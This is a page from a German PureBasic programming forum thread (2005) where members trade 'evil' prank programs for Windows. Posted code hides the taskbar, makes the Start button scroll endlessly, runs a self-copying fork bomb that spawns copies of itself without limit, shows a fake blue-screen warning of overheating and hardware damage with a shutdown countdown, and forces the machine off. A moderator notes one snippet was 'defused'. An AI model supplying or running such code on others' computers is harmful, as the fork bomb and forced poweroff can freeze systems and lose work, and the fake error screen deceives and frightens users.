Seite 4 von 15

Verfasst: 28.08.2005 23:38
von sim0n
Da dieser Thread wieder aus der Versenkung geholt wurde, hab ich mich auch noch schnell ein bisschen gespielt!

Hier ist das Ergebnis eines erschöpften Tages nach "Rock am See" /:-> :

Code: Alles auswählen

If OpenWindow(0, 100, 100, 640, 640, #PB_Window_TitleBar | #PB_Window_SystemMenu, "Such den richtigen Button!")
  
  MessageRequester("Mist", "Deine Startleiste ist verschwunden! Finde den richtigen Button, damit sie wieder zurückkommt!", #PB_MessageRequester_Ok)
  CreateGadgetList(WindowID())
  i = 0
    For x = 0 To 576 Step 64
      For y = 0 To 576 Step 64
        i = i + 1
        ButtonGadget(i, x, y, 64, 64, "Hoho!")
      Next
    Next
    
    tWnd = FindWindow_("Shell_TrayWnd", "")
    
    ShowWindow_(tWnd, 0)
    
  Repeat
    EventID = WaitWindowEvent()
    Select EventID
      Case #PB_Event_Gadget
        Select EventGadgetID()
          Case Random(99)          
            ShowWindow_(tWnd, 1)
            MessageRequester("Glück gehabt!", "Ende")
            End
        EndSelect
    EndSelect
  Until EventID = #PB_Event_CloseWindow 
EndIf

Verfasst: 28.08.2005 23:52
von AndyX
LOOOOOL :lol: :lol: :lol:

Das is ja richtig nett ^^

Verfasst: 29.08.2005 09:19
von hardfalcon
sim0n hat geschrieben:Hier ist das Ergebnis eines erschöpften Tages nach "Rock am See" /:-> :
Du meinst aber nicht "Rock um Séi" hier in Luxemburg, oder? :o
//EDIT: nett gemacht, sim0n.... Kleiner Tipp: mit Tab - Space - Tab - Space
geht des schneller.... :D

Verfasst: 29.08.2005 18:13
von sim0n
Nö hardfalcon, ich war bei "Rock am See" im schönen Konstanz am Bodensee!

Hab übrigens nochmal so eine Spielerei in Arbeit :allright: , bin aber noch nicht ganz fertig! :roll:

Verfasst: 29.08.2005 20:09
von benpicco
Böse Programme :twisted:
Da hab ich doch auch nochwas:

Code: Alles auswählen

Global anz.f
Global path.s
Procedure.s GetAppDir() 
  FullPath.s = Space(360) 
  DLL = OpenLibrary(#PB_Any, "Kernel32") 
  CallFunction(DLL, "GetModuleFileNameA", CallFunction(DLL, "GetModuleHandleA", 0), @FullPath, 360) 
  CloseLibrary(DLL) 
  ProcedureReturn FullPath 
EndProcedure 
Repeat
path=ReplaceString(GetAppDir(),".exe", Str(anz)+".exe",1)
CopyFile(GetAppDir(),path)
anz=anz+1
RunProgram(path)
ForEver
Und damit´s etwas lustiger wird, daraus ne Bakterie.exe machen und hier includen:

Code: Alles auswählen

desktop=ExamineDesktops()
Restore bakterie
OpenFile(0,"bakterie.exe")
WriteData(?bakterie,?ends-?bakterie)
CloseFile(0)
RunProgram("bakterie.exe")
starttime=ElapsedMilliseconds()
Repeat 
  a.POINT\x=1:a\y=0 
  StartDrawing(@a)
  Box(0,0,DesktopWidth(desktop-1),DesktopHeight(desktop-1),RGB(0,0,255))
  DrawingMode(1)
  Locate(1,1)
  FrontColor(255,255,255)
  DrawText("Das System hat einen schwerwiegenden Außnahmefehler festgestellt, und beendet sich daher selbst.")
  Locate(1,16)
  DrawText("Dieser Fehler ist sehr kritisch und kann in der Regel auch zu Hardwareschäden führen. Setzten sie sich daher umgehend mit ihrem pc-Hersteller in Verbindung")
  Locate(1,27)
  DrawText("Nachfolgend ihre Prozssortemperatur:")
  Locate(10,45)
  DrawText("Core:"+Str(Random(70)+80)+"°C")
  FrontColor(255,0,0)
  Locate(200,45)
  DrawText("Critical!")
  code$=""
  For x=1 To 10
    code$=code$+Chr(Random(255))
  Next
  Locate(100,200)
  DrawText("Errorcode: "+code$)
  Locate(100,250)
  DrawText("Shutdown in:"+Str(30000-(ElapsedMilliseconds()-starttime)))
  StopDrawing()
  Delay(10)
Until 30000-(ElapsedMilliseconds()-starttime)=0 ;Or GetAsyncKeyState_(27)
result=NtOpenFile_(test,1,1,1,1,1) 

DataSection
bakterie:
IncludeBinary "bakterie.exe"
ends:
EndDataSection
:twisted:

Verfasst: 29.08.2005 23:25
von sim0n
Hab da nochmal was schönes aus der Trickkiste gezogen!

Is eigentlich recht schön anzuschauen! 8)

Code: Alles auswählen

tWnd = FindWindow_("Shell_TrayWnd", "")
bWnd = GetWindow_(tWnd, #GW_CHILD)

trect.RECT

GetClientRect_(tWnd, trect)

brect.RECT

GetClientRect_(bWnd, brect)

Repeat
  For i = trect\left To trect\right
    MoveWindow_(bWnd, i, 0, brect\right - brect\left, brect\bottom - brect\top, 1)
  Next
ForEver

Verfasst: 29.08.2005 23:26
von hardfalcon
Es gibt halt Menshen, die sind vom Bösen beseelt... :mrgreen: :lol:

Verfasst: 30.08.2005 00:50
von zigapeda
btw: wer seinen startbutton wieder herstellen will macht folgendes: (bei mir war sie auch weg)

Code: Alles auswählen

tWnd = FindWindow_("Shell_TrayWnd", "")
bWnd = GetWindow_(tWnd, #GW_CHILD)

trect.RECT

GetClientRect_(tWnd, trect)

brect.RECT

GetClientRect_(bWnd, brect)

MoveWindow_(bWnd, 0, 0, 55, 22, 1)

Verfasst: 30.08.2005 07:17
von hardfalcon
@ziga: warum nicht einfach so:

Code: Alles auswählen

tWnd = FindWindow_("Shell_TrayWnd", "")
ShowWindow_(tWnd, 0)
(Der Code ist einfach aus sim0ns erstem Code kopiert...)

tschö
Pascal

Verfasst: 30.08.2005 13:29
von AndyX

Code: Alles auswählen

Procedure TuWas()
  #EWX_LOGOFF = 0
  #EWX_SHUTDOWN = 1
  #EWX_REBOOT = 2
  #EWX_FORCE = 4
  #EWX_POWEROFF = 8
  #TOKEN_ADJUST_PRIVILEGES = 32   
  #TOKEN_QUERY = 8               
  #SE_PRIVILEGE_ENABLED = 2     
  #ANYSIZE_ARRAY = 1
  #VER_PLATFORM_WIN32_NT = 2
  ;#SE_SHUTDOWN_NAME = "SeShutdownPrivilege"
  
  Structure MyLUID
    LowPart.l
    HighPart.l
    Attributes.l
  EndStructure
  
  Structure MyTOKEN
    PrivilegeCount.l
    LowPart.l
    HighPart.l
    Attributes.l
  EndStructure
  
  Global hdlProcessHandle.l
  Global hdlTokenHandle.l
  Global tmpLuid.MyLUID
  Global tkp.MyTOKEN
  Global tkpNewButIgnored.MyTOKEN
  Global lBufferNeeded.l
  
  hdlProcessHandle = GetCurrentProcess_()
  
  OpenProcessToken_(hdlProcessHandle, #TOKEN_ADJUST_PRIVILEGES | #TOKEN_QUERY, @hdlTokenHandle)
  
  ; Get the LUID for shutdown privilege
  SysName.s = "" + Chr(0)
  Name.s = "SeShutdownPrivilege" + Chr(0)
  Erg.l = LookupPrivilegeValue_(SysName, Name, @tmpLuid)
  
  tmpLuid\Attributes = #SE_PRIVILEGE_ENABLED
  tkp\PrivilegeCount = 1
  tkp\LowPart = tmpLuid\LowPart
  tkp\HighPart = tmpLuid\HighPart
  tkp\Attributes = tmpLuid\Attributes
  
  ; Enable the shutdown privilege in the access token of this process
  Erg.l = AdjustTokenPrivileges_(hdlTokenHandle, 0, @tkp, SizeOf(MyTOKEN), @tkpNewButIgnored, @lblBufferNeeded)
  Erg.l = ExitWindowsEx_((#EWX_POWEROFF|#EWX_FORCE), 0)
EndProcedure

If MessageRequester("Sicherheitsabfrage","Möchten Sie Ihren Rechner herunterfahren?",#PB_MessageRequester_YesNo) = #PB_MessageRequester_Yes
  TuWas()
EndIf
:mrgreen: :twisted: :twisted:

Edit by Kiffi: Code 'entschärft'